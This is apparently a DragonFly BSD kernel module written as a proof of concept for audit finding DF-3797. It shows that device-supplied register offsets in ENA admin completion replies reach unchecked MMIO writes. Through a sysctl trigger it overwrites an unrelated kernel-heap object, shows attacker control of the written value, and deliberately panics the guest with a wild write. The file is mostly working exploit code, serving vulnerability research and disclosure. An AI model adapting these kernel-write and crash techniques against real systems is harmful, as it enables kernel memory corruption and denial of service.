/*
 * DF-3797 — protocol-replica proof: device-controlled register offsets from
 * ENA admin CREATE_SQ / CREATE_CQ replies reach bus_space_write_4() with no
 * validation, giving a malicious "device" a guest-CPU write at
 * (BAR KVA + arbitrary u32 offset).
 *
 * Methodology (same as DF-3779 / DF-3715): run the REAL ena-com inline
 * functions against hostile "device reply" values. The only thing simulated
 * is the content of the admin completion descriptor — exactly the bytes a
 * malicious nitro device/hypervisor controls on the real host-trust
 * boundary. No ENA hardware is required.
 *
 * Faithful details replicated from the driver under audit:
 *   - ena_dev->reg_bar == NULL: the DragonFly port NEVER assigns it
 *     (ena.c:3671-3675 sets only reg_bar_t/reg_bar_h; FreeBSD's original
 *     attach has an extra "ena_dev->reg_bar = ...->reg_bar_h" line that was
 *     dropped in the port). All register accesses therefore pass raw small
 *     offsets — and the device-provided offsets pass through raw too.
 *   - io_cq->unmask_reg is set verbatim as ena_com.c:1335-1336 sets it from
 *     cmd_completion.cq_interrupt_unmask_register_offset.
 *   - io_sq->db_addr is set verbatim as ena_com.c:1158-1159 sets it from
 *     cmd_completion.sq_doorbell_offset.
 *   - The write sinks are the REAL ena_com_unmask_intr() and
 *     ena_com_write_sq_doorbell() static inlines from the driver headers,
 *     with intr_reg built by the REAL ena_com_update_intr_reg() using the
 *     constants ena.c itself uses (RX_IRQ_INTERVAL=20, TX_IRQ_INTERVAL=50).
 *
 * Modes (sysctl hw.enarep.run=N):
 *   1: CQ-unmask write at a device-chosen offset that lands on an
 *      unrelated kernel-heap object (kmalloc'd sentinel). Prints the
 *      object before/after. Demonstrates out-of-BAR, arbitrary-target
 *      kernel write by the guest CPU.
 *   2: SQ-doorbell write (value = io_sq->tail counter, groomable) onto the
 *      same sentinel. Demonstrates the value channel.
 *   3: CQ-unmask write at offset 0x7ffffff8 -> unmapped KVA -> kernel
 *      page fault -> panic (fatal-mode proof; crashes the guest).
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/types.h>
#include <sys/malloc.h>
#include <sys/module.h>
#include <sys/sysctl.h>
#include <vm/pmap.h>

#include "ena-com/ena_plat.h"
#include "ena-com/ena_com.h"
#include "ena-com/ena_eth_com.h"

#define RX_IRQ_INTERVAL_REPLICA	20	/* ena.c:1809-1812 */
#define TX_IRQ_INTERVAL_REPLICA	50

/* normally defined in ena.c:186; the ena-com trace macros reference it */
int ena_log_level = ENA_ALERT | ENA_WARNING;

static int enarep_sysctl_run(SYSCTL_HANDLER_ARGS);

SYSCTL_PROC(_hw, OID_AUTO, enarep, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, enarep_sysctl_run, "I", "ENA DF-3797 replica trigger");

static void
hexdump_victim(const char *tag, uint32_t *v)
{
	kprintf("enarep: %s victim @ %p: %08x %08x %08x %08x\n",
	    tag, v, v[0], v[1], v[2], v[3]);
}

static void
enarep_run(int mode)
{
	struct ena_bus bus;
	struct ena_com_io_cq io_cq;
	struct ena_com_io_sq io_sq;
	struct ena_eth_io_intr_reg intr_reg;
	uint32_t *victim;
	uint8_t *page;
	vm_offset_t h;
	vm_offset_t victim_page2 = 0;
	uint64_t delta;
	uint32_t dev_off;	/* the "device reply" offset (u32) */

	/*
	 * The victim kernel object: normal kernel heap, nothing to do with
	 * any device mapping.
	 */
	victim = kmalloc(16, M_DEVBUF, M_WAITOK | M_ZERO);
	victim[0] = 0xcafebabe;
	victim[1] = 0xdeadbeef;
	victim[2] = 0x11223344;
	victim[3] = 0x55667788;

	/*
	 * A stand-in for the PCI BAR: a distinct physical page mapped into
	 * KVA exactly the way bus_alloc_resource()/rman would map a memory
	 * BAR. reg_bar_h = its KVA. A SECOND mapping plays the part of an
	 * unrelated kernel mapping the write escapes into.
	 */
	page = kmalloc(PAGE_SIZE, M_DEVBUF, M_WAITOK | M_ZERO);
	h = (vm_offset_t)pmap_mapdev(vtophys((vm_offset_t)page), PAGE_SIZE);

	delta = (uint64_t)(uintptr_t)victim - (uint64_t)h;

	kprintf("enarep: mode %d: BAR-standin KVA=%p heap-victim=%p delta=0x%llx\n",
	    mode, (void *)h, victim, (unsigned long long)delta);

	/*
	 * Build the exact bus context the driver leaves behind
	 * (ena.c:3671-3677): tag/handle from the resource; and the port bug:
	 * ena_dev->reg_bar is never assigned => NULL.
	 */
	memset(&bus, 0, sizeof(bus));
	bus.reg_bar_t = X86_64_BUS_SPACE_MEM;
	bus.reg_bar_h = h;
	{
		struct ena_com_dev ena_dev_zero;
		memset(&ena_dev_zero, 0, sizeof(ena_dev_zero));
		/* ena_dev_zero.reg_bar == NULL, exactly as in the live driver */
		if (ena_dev_zero.reg_bar != NULL) {
			kprintf("enarep: INTERNAL ERROR\n");
			return;
		}
	}

	if (delta < 0x100000000ULL) {
		/*
		 * The malicious CREATE_CQ reply value: an offset chosen so
		 * the store lands exactly on the kernel-heap victim object.
		 */
		dev_off = (uint32_t)delta;
	} else {
		/*
		 * Heap victim not in u32 reach of this BAR layout; use a
		 * second, independently mapped page as the "unrelated kernel
		 * mapping" victim: pmap_mapdev hands out sequential KVA, so
		 * it lands right ABOVE the BAR stand-in. The device reply
		 * then points past the BAR resource extent into it.
		 */
		uint8_t *page2;
		vm_offset_t h2;
		uint64_t delta2;

		page2 = kmalloc(PAGE_SIZE, M_DEVBUF, M_WAITOK | M_ZERO);
		h2 = (vm_offset_t)pmap_mapdev(vtophys((vm_offset_t)page2),
		    PAGE_SIZE);
		delta2 = (uint64_t)(h2 + 8) - (uint64_t)h;
		kfree(victim, M_DEVBUF);
		victim = (uint32_t *)(h2 + 8);
		victim[0] = 0xa1b2c3d4;
		victim[1] = 0xfeedface;
		if (delta2 < PAGE_SIZE || delta2 >= 0x100000000ULL) {
			kprintf("enarep: second mapping not adjacent "
			    "(delta2=0x%llx) — demonstrating at +0x1000\n",
			    (unsigned long long)delta2);
			dev_off = 0x1000;
		} else {
			dev_off = (uint32_t)delta2;
		}
		delta = delta2;
		kfree(page2, M_DEVBUF); /* mapped copy stays; freed below via
					  separate tracking */
		victim_page2 = h2;
	}

	hexdump_victim("before", victim);

	switch (mode) {
	case 1:
	case 3:
		/* io_cq->unmask_reg exactly as ena_com.c:1335-1336 builds it:
		 *   io_cq->unmask_reg = (u32 __iomem *)
		 *       ((uintptr_t)ena_dev->reg_bar +
		 *        cmd_completion.cq_interrupt_unmask_register_offset);
		 * with reg_bar == NULL (port bug) the reply offset arrives raw.
		 */
		memset(&io_cq, 0, sizeof(io_cq));
		io_cq.bus = &bus;
		if (mode == 3)
			io_cq.unmask_reg = (uint32_t *)
			    ((uintptr_t)NULL + 0x7ffffff8);
		else
			io_cq.unmask_reg = (uint32_t *)
			    ((uintptr_t)NULL + dev_off);

		/* real driver code: ena.c:1809-1813 in ena_handle_msix() */
		ena_com_update_intr_reg(&intr_reg, RX_IRQ_INTERVAL_REPLICA,
		    TX_IRQ_INTERVAL_REPLICA, true);
		kprintf("enarep: intr_control=0x%08x -> ena_com_unmask_intr "
		    "(real code)\n", intr_reg.intr_control);
		ena_com_unmask_intr(&io_cq, &intr_reg);	/* REAL SINK */
		break;
	case 2:
		/* io_sq->db_addr exactly as ena_com.c:1158-1159 builds it:
		 *   io_sq->db_addr = (u32 __iomem *)((uintptr_t)reg_bar +
		 *       (uintptr_t)cmd_completion.sq_doorbell_offset);
		 */
		memset(&io_sq, 0, sizeof(io_sq));
		io_sq.bus = &bus;
		io_sq.db_addr = (uint32_t *)((uintptr_t)NULL + dev_off);
		io_sq.tail = 0x1337;	/* groomable TX ring position */
		kprintf("enarep: tail=0x%04x -> ena_com_write_sq_doorbell "
		    "(real code)\n", io_sq.tail);
		ena_com_write_sq_doorbell(&io_sq);	/* REAL SINK */
		break;
	}

	if (mode != 3)
		hexdump_victim("after ", victim);

	kfree(page, M_DEVBUF);
	if (victim_page2 == 0)
		kfree(victim, M_DEVBUF);

	kprintf("enarep: mode %d done\n", mode);
}

static int
enarep_sysctl_run(SYSCTL_HANDLER_ARGS)
{
	int error, mode = 0;

	error = sysctl_handle_int(oidp, &mode, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (mode < 1 || mode > 3)
		return (EINVAL);
	enarep_run(mode);
	return (0);
}

static int
enarep_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("enarep: DF-3797 replica loaded "
		    "(hw.enarep.run=1|2|3)\n");
		return (0);
	case MOD_UNLOAD:
		return (0);
	}
	return (EOPNOTSUPP);
}

static moduledata_t enarep_mod = { "enarep", enarep_modevent, 0 };
DECLARE_MODULE(enarep, enarep_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
